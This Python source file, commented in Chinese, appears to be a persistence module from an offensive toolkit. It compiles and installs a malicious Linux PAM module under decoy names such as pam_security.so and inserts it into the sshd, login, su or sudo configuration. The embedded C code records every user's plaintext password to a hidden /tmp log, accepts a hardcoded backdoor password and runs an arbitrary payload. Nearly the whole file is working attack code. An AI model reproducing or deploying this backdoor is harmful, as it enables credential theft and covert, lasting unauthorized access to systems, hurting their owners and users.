#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PAM 模块劫持权限维持模块
实现基于 PAM 认证流程劫持的权限维持技术
"""

import os
import sys
import json
import random
import subprocess
import tempfile
import hashlib
import time
import shutil
from typing import Dict, List, Optional, Tuple
from pathlib import Path
import uuid

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult, 
    PersistenceStatus, PersistenceLevel
)


class PAMHijackPersistenceModule(BasePersistenceModule):
    """PAM 模块劫持权限维持模块"""
    
    def __init__(self):
        super().__init__("pam_hijack", ["linux"])
        self.module_name = "pam_hijack"
        self.module_version = "1.0.0"
        self.supported_platforms = ["linux"]
        
        # PAM 配置文件路径
        self.pam_config_paths = {
            'sshd': '/etc/pam.d/sshd',
            'login': '/etc/pam.d/login',
            'su': '/etc/pam.d/su',
            'sudo': '/etc/pam.d/sudo',
            'passwd': '/etc/pam.d/passwd'
        }
        
        # PAM 模块安装路径
        self.pam_module_paths = [
            '/lib/security/',
            '/lib64/security/',
            '/usr/lib/security/',
            '/usr/lib64/security/',
            '/lib/x86_64-linux-gnu/security/',
            '/usr/lib/x86_64-linux-gnu/security/'
        ]
        
        # 恶意 PAM 模块名称模板
        self.stealth_module_names = [
            'pam_security.so', 'pam_audit.so', 'pam_monitor.so',
            'pam_helper.so', 'pam_check.so', 'pam_verify.so',
            'pam_system.so', 'pam_config.so', 'pam_update.so'
        ]
        
        # PAM 模块 C 代码模板
        self.pam_module_template = '''
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>

#define LOG_FILE "{log_file}"
#define BACKDOOR_PASSWORD "{backdoor_password}"
#define TRIGGER_COMMAND "{trigger_command}"

// 记录认证信息
void log_auth_info(const char* user, const char* password, const char* service) {{
    FILE* fp = fopen(LOG_FILE, "a");
    if (fp) {{
        time_t now = time(NULL);
        fprintf(fp, "[%s] Service: %s, User: %s, Password: %s\\n", 
                ctime(&now), service, user, password);
        fclose(fp);
        chmod(LOG_FILE, 0600);
    }}
}}

// 执行后门命令
void execute_backdoor() {{
    if (strlen(TRIGGER_COMMAND) > 0) {{
        system(TRIGGER_COMMAND);
    }}
}}

// PAM 认证函数
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
                                   int argc, const char **argv) {{
    const char *user = NULL;
    const char *password = NULL;
    const char *service = NULL;
    
    // 获取用户名
    pam_get_user(pamh, &user, NULL);
    
    // 获取服务名
    pam_get_item(pamh, PAM_SERVICE, (const void**)&service);
    
    // 获取密码
    pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
    
    // 记录认证信息
    if (user && password && service) {{
        log_auth_info(user, password, service);
        
        // 检查后门密码
        if (strcmp(password, BACKDOOR_PASSWORD) == 0) {{
            execute_backdoor();
            return PAM_SUCCESS;
        }}
    }}
    
    // 继续正常认证流程
    return PAM_IGNORE;
}}

// PAM 会话管理函数
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags,
                              int argc, const char **argv) {{
    return PAM_SUCCESS;
}}

PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags,
                                   int argc, const char **argv) {{
    return PAM_SUCCESS;
}}

PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags,
                                    int argc, const char **argv) {{
    return PAM_SUCCESS;
}}
'''
    
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署 PAM 模块劫持"""
        try:
            instance_id = str(uuid.uuid4())[:8]
            
            # 检测系统 PAM 版本和架构
            pam_info = self._detect_pam_environment()
            if not pam_info['supported']:
                return PersistenceResult(
                    success=False,
                    message="系统不支持 PAM 或缺少开发环境"
                )
            
            # 选择目标 PAM 配置
            target_service = self._select_target_service(config.stealth_level)
            
            # 生成恶意 PAM 模块
            module_info = self._generate_malicious_pam_module(
                config, instance_id, pam_info
            )
            
            if not module_info['success']:
                return PersistenceResult(
                    success=False,
                    message=f"生成 PAM 模块失败: {module_info['error']}"
                )
            
            # 安装 PAM 模块
            install_result = self._install_pam_module(
                module_info['module_path'], 
                module_info['module_name'],
                config.stealth_level
            )
            
            if not install_result['success']:
                return PersistenceResult(
                    success=False,
                    message=f"安装 PAM 模块失败: {install_result['error']}"
                )
            
            # 修改 PAM 配置文件
            config_result = self._modify_pam_config(
                target_service, 
                module_info['module_name'],
                config.stealth_level
            )
            
            if not config_result['success']:
                return PersistenceResult(
                    success=False,
                    message=f"修改 PAM 配置失败: {config_result['error']}"
                )
            
            # 保存实例信息
            instance_info = {
                'instance_id': instance_id,
                'target_service': target_service,
                'module_name': module_info['module_name'],
                'module_path': install_result['installed_path'],
                'config_file': config_result['config_file'],
                'backup_file': config_result['backup_file'],
                'log_file': module_info['log_file'],
                'stealth_level': config.stealth_level,
                'created_at': time.time(),
                'pam_info': pam_info
            }
            
            self._save_instance_info(instance_id, instance_info)
            
            return PersistenceResult(
                success=True,
                instance_id=instance_id,
                message=f"PAM 模块劫持部署成功: {target_service}",
                details={
                    'target_service': target_service,
                    'module_name': module_info['module_name'],
                    'log_file': module_info['log_file']
                }
            )
            
        except Exception as e:
            self.logger.error(f"部署 PAM 模块劫持失败: {e}")
            return PersistenceResult(
                success=False,
                message=f"部署失败: {str(e)}"
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查 PAM 劫持状态"""
        try:
            instance_info = self._load_instance_info(instance_id)
            if not instance_info:
                return PersistenceResult(
                    success=False,
                    message="实例不存在"
                )
            
            # 检查 PAM 模块文件是否存在
            module_exists = os.path.exists(instance_info['module_path'])
            
            # 检查 PAM 配置是否仍然包含我们的模块
            config_intact = self._check_pam_config_integrity(
                instance_info['config_file'],
                instance_info['module_name']
            )
            
            # 检查日志文件
            log_file_exists = os.path.exists(instance_info['log_file'])
            
            # 测试 PAM 模块是否正常工作
            module_functional = self._test_pam_module_functionality(instance_info)
            
            status = PersistenceStatus.ACTIVE if (
                module_exists and config_intact and module_functional
            ) else PersistenceStatus.INACTIVE
            
            return PersistenceResult(
                success=True,
                message=f"PAM 劫持状态: {'活跃' if status == PersistenceStatus.ACTIVE else '非活跃'}",
                details={
                    'status': status,
                    'module_exists': module_exists,
                    'config_intact': config_intact,
                    'log_file_exists': log_file_exists,
                    'module_functional': module_functional
                }
            )
            
        except Exception as e:
            self.logger.error(f"检查 PAM 劫持状态失败: {e}")
            return PersistenceResult(
                success=False,
                message=f"状态检查失败: {str(e)}"
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复 PAM 劫持"""
        try:
            instance_info = self._load_instance_info(instance_id)
            if not instance_info:
                return PersistenceResult(
                    success=False,
                    message="实例不存在"
                )
            
            repair_actions = []
            
            # 检查并修复 PAM 模块文件
            if not os.path.exists(instance_info['module_path']):
                # 重新生成和安装模块
                config = PersistenceConfig(stealth_level=instance_info['stealth_level'])
                module_info = self._generate_malicious_pam_module(
                    config, instance_id, instance_info['pam_info']
                )
                
                if module_info['success']:
                    install_result = self._install_pam_module(
                        module_info['module_path'],
                        instance_info['module_name'],
                        instance_info['stealth_level']
                    )
                    if install_result['success']:
                        repair_actions.append("重新安装 PAM 模块")
            
            # 检查并修复 PAM 配置
            if not self._check_pam_config_integrity(
                instance_info['config_file'], 
                instance_info['module_name']
            ):
                config_result = self._modify_pam_config(
                    instance_info['target_service'],
                    instance_info['module_name'],
                    instance_info['stealth_level']
                )
                if config_result['success']:
                    repair_actions.append("修复 PAM 配置")
            
            # 验证修复结果
            check_result = self.check_alive(instance_id)
            
            if check_result.success and check_result.details.get('status') == PersistenceStatus.ACTIVE:
                return PersistenceResult(
                    success=True,
                    message=f"PAM 劫持修复成功",
                    details={'repair_actions': repair_actions}
                )
            else:
                return PersistenceResult(
                    success=False,
                    message="PAM 劫持修复失败"
                )
                
        except Exception as e:
            self.logger.error(f"修复 PAM 劫持失败: {e}")
            return PersistenceResult(
                success=False,
                message=f"修复失败: {str(e)}"
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理 PAM 劫持"""
        try:
            instance_info = self._load_instance_info(instance_id)
            if not instance_info:
                return PersistenceResult(
                    success=False,
                    message="实例不存在"
                )
            
            cleanup_actions = []
            
            # 恢复 PAM 配置文件
            if os.path.exists(instance_info['backup_file']):
                shutil.copy2(instance_info['backup_file'], instance_info['config_file'])
                os.remove(instance_info['backup_file'])
                cleanup_actions.append("恢复 PAM 配置")
            
            # 删除恶意 PAM 模块
            if os.path.exists(instance_info['module_path']):
                os.remove(instance_info['module_path'])
                cleanup_actions.append("删除 PAM 模块")
            
            # 删除日志文件
            if os.path.exists(instance_info['log_file']):
                os.remove(instance_info['log_file'])
                cleanup_actions.append("删除日志文件")
            
            # 删除实例信息
            self._remove_instance_info(instance_id)
            
            return PersistenceResult(
                success=True,
                message="PAM 劫持清理成功",
                details={'cleanup_actions': cleanup_actions}
            )
            
        except Exception as e:
            self.logger.error(f"清理 PAM 劫持失败: {e}")
            return PersistenceResult(
                success=False,
                message=f"清理失败: {str(e)}"
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有实例"""
        try:
            instances = []
            instance_dir = self._get_instance_dir()
            
            if os.path.exists(instance_dir):
                for filename in os.listdir(instance_dir):
                    if filename.endswith('.json'):
                        instance_id = filename[:-5]
                        instance_info = self._load_instance_info(instance_id)
                        if instance_info:
                            # 获取当前状态
                            status_result = self.check_alive(instance_id)
                            instance_info['current_status'] = status_result.details.get('status', 'unknown')
                            instances.append(instance_info)
            
            return instances
            
        except Exception as e:
            self.logger.error(f"列出实例失败: {e}")
            return []
    
    def _detect_pam_environment(self) -> Dict:
        """检测 PAM 环境"""
        try:
            # 检查 PAM 开发包
            pam_dev_check = subprocess.run(
                ['pkg-config', '--exists', 'pam'],
                capture_output=True, text=True
            )
            
            # 检查编译器
            gcc_check = subprocess.run(
                ['gcc', '--version'],
                capture_output=True, text=True
            )
            
            # 检查 PAM 头文件
            pam_headers = [
                '/usr/include/security/pam_modules.h',
                '/usr/include/pam/pam_modules.h'
            ]
            
            headers_exist = any(os.path.exists(header) for header in pam_headers)
            
            # 检测架构
            arch_result = subprocess.run(
                ['uname', '-m'],
                capture_output=True, text=True
            )
            architecture = arch_result.stdout.strip() if arch_result.returncode == 0 else 'unknown'
            
            return {
                'supported': (pam_dev_check.returncode == 0 and 
                            gcc_check.returncode == 0 and 
                            headers_exist),
                'has_pam_dev': pam_dev_check.returncode == 0,
                'has_gcc': gcc_check.returncode == 0,
                'has_headers': headers_exist,
                'architecture': architecture
            }
            
        except Exception as e:
            self.logger.error(f"检测 PAM 环境失败: {e}")
            return {'supported': False, 'error': str(e)}
    
    def _select_target_service(self, stealth_level: int) -> str:
        """选择目标 PAM 服务"""
        if stealth_level >= 8:
            # 最高隐蔽级别：选择 SSH
            return 'sshd'
        elif stealth_level >= 6:
            # 高隐蔽级别：选择登录
            return 'login'
        elif stealth_level >= 4:
            # 中等隐蔽级别：选择 su
            return 'su'
        else:
            # 低隐蔽级别：选择 sudo
            return 'sudo'
    
    def _generate_malicious_pam_module(self, config: PersistenceConfig, 
                                     instance_id: str, pam_info: Dict) -> Dict:
        """生成恶意 PAM 模块"""
        try:
            # 生成模块名称
            module_name = random.choice(self.stealth_module_names)
            
            # 生成日志文件路径
            log_file = f"/tmp/.pam_{instance_id}.log"
            
            # 生成后门密码
            backdoor_password = f"backdoor_{instance_id}"
            
            # 生成触发命令
            trigger_command = config.payload if hasattr(config, 'payload') else ""
            
            # 创建 C 源代码
            source_code = self.pam_module_template.format(
                log_file=log_file,
                backdoor_password=backdoor_password,
                trigger_command=trigger_command
            )
            
            # 创建临时源文件
            with tempfile.NamedTemporaryFile(mode='w', suffix='.c', delete=False) as f:
                f.write(source_code)
                source_file = f.name
            
            # 编译 PAM 模块
            module_file = source_file.replace('.c', '.so')
            compile_cmd = [
                'gcc', '-shared', '-fPIC', '-o', module_file,
                source_file, '-lpam'
            ]
            
            compile_result = subprocess.run(
                compile_cmd, capture_output=True, text=True
            )
            
            if compile_result.returncode != 0:
                return {
                    'success': False,
                    'error': f"编译失败: {compile_result.stderr}"
                }
            
            # 清理源文件
            os.remove(source_file)
            
            return {
                'success': True,
                'module_path': module_file,
                'module_name': module_name,
                'log_file': log_file,
                'backdoor_password': backdoor_password
            }
            
        except Exception as e:
            return {
                'success': False,
                'error': str(e)
            }
    
    def _install_pam_module(self, module_path: str, module_name: str, 
                          stealth_level: int) -> Dict:
        """安装 PAM 模块"""
        try:
            # 选择安装路径
            target_dir = None
            for path in self.pam_module_paths:
                if os.path.exists(path) and os.access(path, os.W_OK):
                    target_dir = path
                    break
            
            if not target_dir:
                return {
                    'success': False,
                    'error': "找不到可写的 PAM 模块目录"
                }
            
            # 安装模块
            installed_path = os.path.join(target_dir, module_name)
            shutil.copy2(module_path, installed_path)
            
            # 设置权限
            os.chmod(installed_path, 0o755)
            
            # 清理临时文件
            os.remove(module_path)
            
            return {
                'success': True,
                'installed_path': installed_path
            }
            
        except Exception as e:
            return {
                'success': False,
                'error': str(e)
            }
    
    def _modify_pam_config(self, service: str, module_name: str, 
                         stealth_level: int) -> Dict:
        """修改 PAM 配置文件"""
        try:
            config_file = self.pam_config_paths.get(service)
            if not config_file or not os.path.exists(config_file):
                return {
                    'success': False,
                    'error': f"PAM 配置文件不存在: {config_file}"
                }
            
            # 备份原配置文件
            backup_file = f"{config_file}.backup_{int(time.time())}"
            shutil.copy2(config_file, backup_file)
            
            # 读取原配置
            with open(config_file, 'r', encoding='utf-8') as f:
                lines = f.readlines()
            
            # 根据隐蔽级别选择插入位置和方式
            if stealth_level >= 8:
                # 最高级别：插入到 auth 部分的开头
                insert_line = f"auth    optional    {module_name}\n"
                insert_position = self._find_auth_section_start(lines)
            elif stealth_level >= 6:
                # 高级别：插入到 auth 部分的中间
                insert_line = f"auth    sufficient  {module_name}\n"
                insert_position = self._find_auth_section_middle(lines)
            else:
                # 中低级别：添加到文件末尾
                insert_line = f"auth    required    {module_name}\n"
                insert_position = len(lines)
            
            # 插入恶意模块配置
            lines.insert(insert_position, insert_line)
            
            # 写回配置文件
            with open(config_file, 'w', encoding='utf-8') as f:
                f.writelines(lines)
            
            return {
                'success': True,
                'config_file': config_file,
                'backup_file': backup_file
            }
            
        except Exception as e:
            return {
                'success': False,
                'error': str(e)
            }
    
    def _find_auth_section_start(self, lines: List[str]) -> int:
        """找到 auth 部分的开始位置"""
        for i, line in enumerate(lines):
            if line.strip().startswith('auth'):
                return i
        return 0
    
    def _find_auth_section_middle(self, lines: List[str]) -> int:
        """找到 auth 部分的中间位置"""
        auth_lines = []
        for i, line in enumerate(lines):
            if line.strip().startswith('auth'):
                auth_lines.append(i)
        
        if auth_lines:
            return auth_lines[len(auth_lines) // 2]
        return 0
    
    def _check_pam_config_integrity(self, config_file: str, module_name: str) -> bool:
        """检查 PAM 配置完整性"""
        try:
            if not os.path.exists(config_file):
                return False
            
            with open(config_file, 'r', encoding='utf-8') as f:
                content = f.read()
            
            return module_name in content
            
        except Exception:
            return False
    
    def _test_pam_module_functionality(self, instance_info: Dict) -> bool:
        """测试 PAM 模块功能"""
        try:
            # 检查日志文件是否可写
            log_file = instance_info['log_file']
            test_content = f"Test entry {time.time()}\n"
            
            with open(log_file, 'a') as f:
                f.write(test_content)
            
            # 检查文件是否存在且包含测试内容
            if os.path.exists(log_file):
                with open(log_file, 'r') as f:
                    content = f.read()
                return test_content.strip() in content
            
            return False
            
        except Exception:
            return False
    
    def _get_instance_dir(self) -> str:
        """获取实例信息存储目录"""
        instance_dir = os.path.expanduser('~/.pam_hijack_instances')
        os.makedirs(instance_dir, exist_ok=True)
        return instance_dir
    
    def _save_instance_info(self, instance_id: str, info: Dict):
        """保存实例信息"""
        instance_dir = self._get_instance_dir()
        info_file = os.path.join(instance_dir, f"{instance_id}.json")
        with open(info_file, 'w', encoding='utf-8') as f:
            json.dump(info, f, indent=2, ensure_ascii=False)
    
    def _load_instance_info(self, instance_id: str) -> Optional[Dict]:
        """加载实例信息"""
        instance_dir = self._get_instance_dir()
        info_file = os.path.join(instance_dir, f"{instance_id}.json")
        if os.path.exists(info_file):
            try:
                with open(info_file, 'r', encoding='utf-8') as f:
                    return json.load(f)
            except Exception as e:
                self.logger.error(f"加载实例信息失败: {e}")
        return None
    
    def _remove_instance_info(self, instance_id: str):
        """删除实例信息"""
        instance_dir = self._get_instance_dir()
        info_file = os.path.join(instance_dir, f"{instance_id}.json")
        if os.path.exists(info_file):
            os.remove(info_file)


def create_module():
    """创建模块实例"""
    return PAMHijackPersistenceModule()


if __name__ == "__main__":
    # 测试模块
    module = PAMHijackPersistenceModule()
    
    # 创建测试配置
    config = PersistenceConfig(
        payload="echo 'PAM hijack test' >> /tmp/pam_test.log",
        stealth_level=6
    )
    
    print("=== PAM 模块劫持测试 ===")
    print(f"模块信息: {module.get_module_info()}")
    
    # 检测环境
    pam_info = module._detect_pam_environment()
    print(f"PAM 环境: {pam_info}")
    
    if pam_info['supported']:
        # 测试部署
        result = module.deploy(config)
        print(f"部署结果: {result}")
        
        if result.success:
            instance_id = result.instance_id
            
            # 测试状态检查
            check_result = module.check_alive(instance_id)
            print(f"状态检查: {check_result}")
            
            # 列出实例
            instances = module.list_instances()
            print(f"实例列表: {instances}")
    else:
        print("系统不支持 PAM 模块劫持")